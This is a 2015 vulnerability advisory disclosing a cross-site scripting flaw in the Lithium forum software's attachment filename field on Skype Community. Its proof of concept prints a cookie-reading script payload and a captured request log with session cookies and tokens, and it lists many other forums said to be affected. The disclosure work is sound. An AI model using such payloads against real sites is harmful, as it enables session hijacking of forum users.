Lithium Forum - Client Side POST Inject Vulnerability

2015-12-22T00:00:00
ID VULNERLAB:1519
Type vulnerlab
Reporter Evolution Security GmbH & Vulnerability Laboratory [Research Team] – Hadji Samir Contact: admin@vulnerability-lab.com
Modified 2015-12-22T00:00:00

Description

                                        
                                            Document Title:
===============
Lithium Forum - Client Side POST Inject Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1519


Release Date:
=============
2015-12-22


Vulnerability Laboratory ID (VL-ID):
====================================
1519


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
Skype is a proprietary voice-over-Internet Protocol service and software application originally created in 2003 by Swedish entrepreneur 
Niklas Zennström and his Danish partner Janus Friis. It has been owned by Microsoft since 2011. The service allows users to communicate 
with peers by voice, video, and instant messaging over the Internet. Phone calls may be placed to recipients on the traditional 
telephone networks. Calls to other users within the Skype service are free of charge, while calls to landline telephones and mobile 
phones are charged via a debit-based user account system. Skype has also become popular for its additional features, including file 
transfer, and videoconferencing. Competitors include SIP and H.323-based services, such as Linphone, as well as the Google Talk service, 
Mumble and Hall.com.

Skype has 663 million registered users as of September 2011. The network is operated by Microsoft, which has its Skype division headquarters 
in Luxembourg. Most of the development team and 44% of the overall employees of the division are situated in Tallinn and Tartu, Estonia.

Unlike most other VoIP services, Skype is a hybrid peer-to-peer and client–server system. It makes use of background processing on computers 
running Skype software. Skype`s original proposed name (Sky Peer-to-Peer) reflects this fact. Some network administrators have banned Skype 
on corporate, government, home, and education networks, citing reasons such as inappropriate usage of resources, excessive bandwidth usage, 
and security concerns.

(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Skype)


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side POST inject web vulnerability in the official Microsoft Skype Community online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-06-10:	Researcher Notification & Coordination (Hadji Samir - Evolution Security)
2015-06-12:	Vendor Notification 1 (Security Team)
2015-**-**:	Vendor Response/Feedback (Security Team)
2015-11-30:	Vendor Fix/Patch (Developer Team)
2015-12-22:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official Microsoft Skype Community online service web-application.
The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise session data/information.

The security vulnerability is located in the `filename` value of the `Skype Community - t5/forums/postpage.messageeditorform.form.form.form` module. 
Remote attackers are able to inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted 
weblinks to execute client-side script code that compromises the skype community forum user/admin session data. The execution of the script code 
occurs in the exception-handling of the upload POST method request. The attack vector of the vulnerability is located on the client-side of the 
online-service and the request method to inject or execute the code is POST. Due to the testings and research we figured out that several high 
class vendors using the commercial lithium web-application.

The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the non-persistent cross site scripting web vulnerability requires a low privilege web application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load 
of malicious script codes or non-persistent web module context manipulation.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] Skype Community > t5/forums/

Vulnerable File(s):
				[+] t5/forums/postpage.messageeditorform.form.form.form

Vulnerable Parameter(s):
				[+] filename


Proof of Concept (PoC):
=======================
The client-side cross site scripting exception web vulnerability can be exploited by remote attackers with low privilege web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

PoC: Exception handling - Lithium Forum (Skype Community)
<div class="InfoMessage lia-panel-feedback-banner-alert lia-feedback-secondary-message lia-component-common-widget-page-feedback" 
class="InfoMessage lia-panel-feedback-banner-alert lia-feedback-secondary-message" id="informationbox">
<div class="lia-text">
<p tabindex="0" role="error">Correct the highlighted errors and try again.</p>
<ul id="list_0" class="lia-list-standard">
<li>The file [CLIENT-SIDE EXCEPTION WEB VULNERABILITY VIA FILENAME!]"><iframe src=http://www.vulnerability-lab.com onload=alert(document.cookie)> 
.png does not have a valid extension for an attachment and has been removed. jpg,gif,pdf,zip,lang are the valid extensions.
<br>Must not contain any HTML.</li>
</ul></div>
</div>
</div>			


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://community.skype.com/t5/forums/postpage.messageeditorform.form.form.form 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Content Size[0] Mime Type[application/x-unknown-content-type]
   Request Headers:
      Host[community.skype.com]
      User-Agent[Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate]
      Referer[http://community.skype.com/t5/forums/postpage/board-id/Translations]
      Cookie[s_pers=%20s_fid%3D7EADA82B25D3A7FE-22BADDF02FFE01AA%7C1497227269918%3B%20gpv_p23%3Dskypeloginweb%252Faccount%252Flogin_simplified%7C1434070669927%3B%20s_nr%3D1434068869930-New%7C1497140869930%3B; s_vi=[CS]v1|2A928C6305013CDB-400001382002F848[CE]; mbox=PC#1432859941701-111791.21_17#1441809665|check#true#1434033725|session#1434033624289-491084#1434035525; MSFPC=ID=062a86ae8adbf044abf02f8708319e16&CS=3&LV=201505&V=1; skype-cookie-policy=1; __CT_Data=gpv=8&apv_22_www11=8; WRUID=0; tracking=1434066476905; LithiumVisitor=~2DnruWrh4zSyqDVNA~S0FDSAeLLXNQyv0LgPfS9o8gMCZ3senMywpX_sC4UwFikHehjm8U36pL1fZCwO8eBYk9-nOUeHTeBLnBFc1GjA..; VISITOR_BEACON=~2aphhH89BL1W7xf7Z~BE1YzkXD5ndxpLhY4Z2bhqwTa1-Tkq0Eo22Ev9ddHp4EVfp-37vFXnbCv1PHXjc5q9aISMdRK_3MyqKXFuGfKw..; SC=CC=:CCY=:ENV=:LC=en:LIM=:RS=d:TM=1434068870:TS=1434068870:TZ=:UCP=:VAT=:VER=; s_fid=68392C6301561E0C-0629E4B49FBC4542; gpv_p23=support%2Fforum%2Ft5%2Fforums%2Fpostpage%2Fboard-id%2FTranslations; s_nr=1434070798741-New; LiSESSIONID=6859188E4B50DDB80D41B1EABB669A41; s_cc=true; s_ria=flash%2011%7C; s_sq=%5B%5BB%5D%5D; s_sv_sid=346493096323]
      X-Forwarded-For[8.8.8.8]
      Connection[keep-alive]
   Post Data:
      POST_DATA[-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="t:ac"
board-id/Translations
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="liaFormContentKey"
PostPage:board-id/Translations:messageeditorform.form.form:
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="t:formdata"
rPBMQ5753M6ha7eiSCGUSDWmAZo=:H4sIAAAAAAAAAN1YT2wVRRifViuFF6TFYDXGhEMlNKS7fbwWEWyaWqmA/ScvkHCRzO7Oe2/o7s4yM/v2NUYTEqImetRwM5pwEzzKjRg5mF68QLyKxisJAaMHMXFmZ1/7alvpzm
4bX99h9+038/2+f7+Z+Xav3wddkQkGK4SGHjPnCONzsIqOeYgxcUcO5oSKQc+ILy4hwYUhRoFBaNWAAbRryOAwQIzThRHDJhS52BJ3LyA+8jkzpoRG/+GHQWXgree/HusEoBFsvr3SdwevnCz9fgNo2SteAh+ADi2tp1JrpY5tOFsupZfpK64X2xbmsZQ6jyODs4s/DYD3FrXymN5e8fxvNx5Vbt75StveTCp7Z8S4GCpzyNEkJV5ZPjkTLhZTzkE3RINXv7/7Mdj/dyfomAIFe3mAg71TF2Edmi70q2aZU+xXjzcCDnpgyAmDdTQpnLSgPR+9CkY2GEVASYAoX1ByEc0
xF/MaDj0jQtbhVu9dbMwlk0/Ek/vLiIfBCb+OKfE9Med0b+eln0vmYOx5dxNZ8qbQCORtdxbHXt+4YxMugv4K17xzt97ff7LvL70iay3OEpNquzjYwULrIrK5fvAS6Fl5eS5ygMUQpHbNrBdNm/iCBVbIMfGZOa2wyvHwROtQbEqpWUgYQIGwX8HIdY
w1pSLbI/9JagsyZIxbQghtPilVFBleOXu78Mu+Hx4n3JU+EHcGeighQUsytiqQ8bSBCC7ZwoFyaHmYMWH19jfOcOWPL35U3NEtosxA7xYz72mLOAs50O6lqAjMJ2OskMTa+zjYnUjV0tQAkjgvRtPg7ZR6IhpUxyhioWdhbjBZTy6Jhhp8yTklnVDSnI0o
x8fAaFpMjv0Fz/53HqV02m7mMSuscq6dyLzHE+Ow7OMgQPwsdXPgdX90EBywXGLPm60nyBtSwpoHYQ07DvKbZVjlxYYR2ijjaXuoI0M9D46+e+3TUf3jdYeW1k5tNhUg5yI62RuwHJh0KHoHzD4Zo8XoUg4N1MBMrM1qy6A6vBLKvdCcML48IT6qNsGmIuk
cmNHETbbD9ULpS8ZXRZK7xayByH+QonUDScZzDGQdiyqQUXBcE1bSXi2w7Bg7M2KIjeU17Zelxct9vHr12yuqt4zlzhrvRbNxeynei4SxXik2pNg4JY7kKqJ7f/3y2p+XPzoqQE6BrrpUb1DQszxvRhzkiH54/fOXC5/d+yTez4D4ReNgTLeuNWTPW6TRp
E53U5ADZooWY02cMHAJXCL1M+oxM15elO3KSjcJonb8I6KGHTkWcVdTcGHof1fGbvUoPNsuhZQYA23ROilP26EB6pGHjc+Td+0zqJJDF/Rm+n56tRvbsKHWYkVR/5PwNvyQPKxla1jZ2tDuE1/UC/zaHwv2rPhYILbXbLCKvjoBpS7vZqah2D5pyLKi/gGUanyqkRsAAA==
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="lia-action-token"

JI23tj8UIO7nM2i7fsBN0c0nk6iT6Ws1OY2SjC2EQiE.
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="form_UID"
form
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="form_instance_key"
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="subject"
sdfsdf
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="submitContextX"
Preview
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="tinyMceEditor"
<p>sdfsdf sdffds dsfsdf</p>
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="mediaSnippetUrl"

-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="existingAttachmentsField"
[]
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="previewAttachmentsField"
[]
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="compareAttachmentsField"
[]
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="checkbox"
on
-----------------------------102110556414691098141506762642
Content-Disposition: form-data; name="upload"; filename="\"><iframe src=x onload=alert(document.cookie)> .png"
Content-Type: image/png
PNG


Vulnerable Site(s):
http://www.amazon.de/Remington-HC5880-Indestructible-Haarschneider-Lithium/forum/
https://www.paypal-community.com/t5/US-PayPal-Community/ct-p/US
http://community.ebay.com/t5/A-Part-time-eBay-Sellers-Group/Who-is-Lithium-Technologies-Inc-Found-under-Selling-preferences/td-p/20151642
https://www.en.adwords-community.com
http://forums.verizon.com/t5/media/v2/gallerypage/image-id/638iEE72EA794E7870E8
https://forums.att.com/t5/media/v2/gallerypage/image-id/26748i32A2C4F5F1C76A16
http://community.skype.com/t5/media/v2/
https://community.linksys.com/t5/Media-Hub/bd-p/TechnicalSupport2
http://community.eu.playstation.com/t5/media/v1/gallerypage/user-id/966029/image-id/435278i77B3FF47F3F21BDC
http://forums.xfinity.com/t5/media/v1/gallerypage/user-id/54009/image-id/22931i058474C6376CA295
http://communaute.orange.fr/t5/media/v2/gallerypage/image-id/5449i26E3C94BD827C963
https://discussions.apple.com/thread/5737090
http://h30434.www3.hp.com/t5/media/v1/gallerypage/user-id/314019
https://supportforums.blackberry.com/t5/media/v2/gallerypage/user-id/139560/image-id/1246iF4B7A821A8A944B2
http://talk.hbo.com/t5/media/v2/gallerypage/user-id/1111009/image-id/960iDD3175E57CEBE367
http://community.f-secure.com/t5/media/v2/gallerypage/user-id/365/image-id/758iE470659201B00CF8
https://talk.sonymobile.com/t5/media/v2/gallerypage/user-id/202/album-id/2677
https://forums.lenovo.com/t5/media/v1/gallerypage/user-id/230839/image-id/15043i91D84DDE92BD3F70
http://forums.juniper.net/t5/media/v2/gallerypage/image-id/11433i62DB8B9E0B7C364F
http://my.teslamotors.com/forum/forums/10kw-laser-powered-lithium-ion-batteries
http://www.wallstreet-online.de/diskussion/500-beitraege/1058177-1-500/lithium-technology-umsaetze-ziehen-maechtig-an#beitrag_21444129
http://www.tripadvisor.ca/ShowTopic-g1-i10702-k6941427-RyanAir_Lithium_ion_Power_bank-Air_Travel.html#postreply
https://telekomhilft.telekom.de/t5/Media-Receiver/
http://www.banktech.com/channels/commonwealth-bank-to-launch-online-social-forum/d/d-id/1296418?
http://community.saturn.nl/t5/media/v2/gallerypage/image-id/3567i79CFA668259C2A53
https://community.o2.co.uk/t5/media/v2/gallerypage/image-id/13061i577034177A010DF2
https://community.spotify.com/t5/media/v2/gallerypage/image-id/2141i7CDD8F7C1499E4D0?nospellcheck=true&q=_change_me_
http://talk.sonymobile.com/t5/media/v2/gallerypage/tab/albums
http://community.us.playstation.com/t5/media/v2/gallerypage/user-id/750008
https://forum.vodafone.co.uk/t5/media/v2/gallerypage/page/3
http://community.usa.canon.com/t5/media/v2/gallerypage/image-id/5609i91277716BCCDFCE2
https://forum.sfr.fr/t5/media/gallerypage/
http://forum.kpn.com/t5/media/v2/gallerypage/image-id/5699iD073361E6D1D16C6
http://comunidad.orange.es/t5/media/v2/gallerypage/image-id/2497i8215FB441CC86FD3
https://forums.cat.com/t5/Electric-Power-Generation/ct-p/EPG


Solution - Fix & Patch:
=======================
Encode and parse the filename in the upload POST method request to prevent a client-side execution.
Restrict the input in the POST method request and disallow special chars as input value to finalize the patch.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the exception-handling is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Evolution Security GmbH & Vulnerability Laboratory [Research Team] – Hadji Samir 
Contact: admin@vulnerability-lab.com


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@vulnerability-lab.com 	- research@vulnerability-lab.com 	       		- admin@evolution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™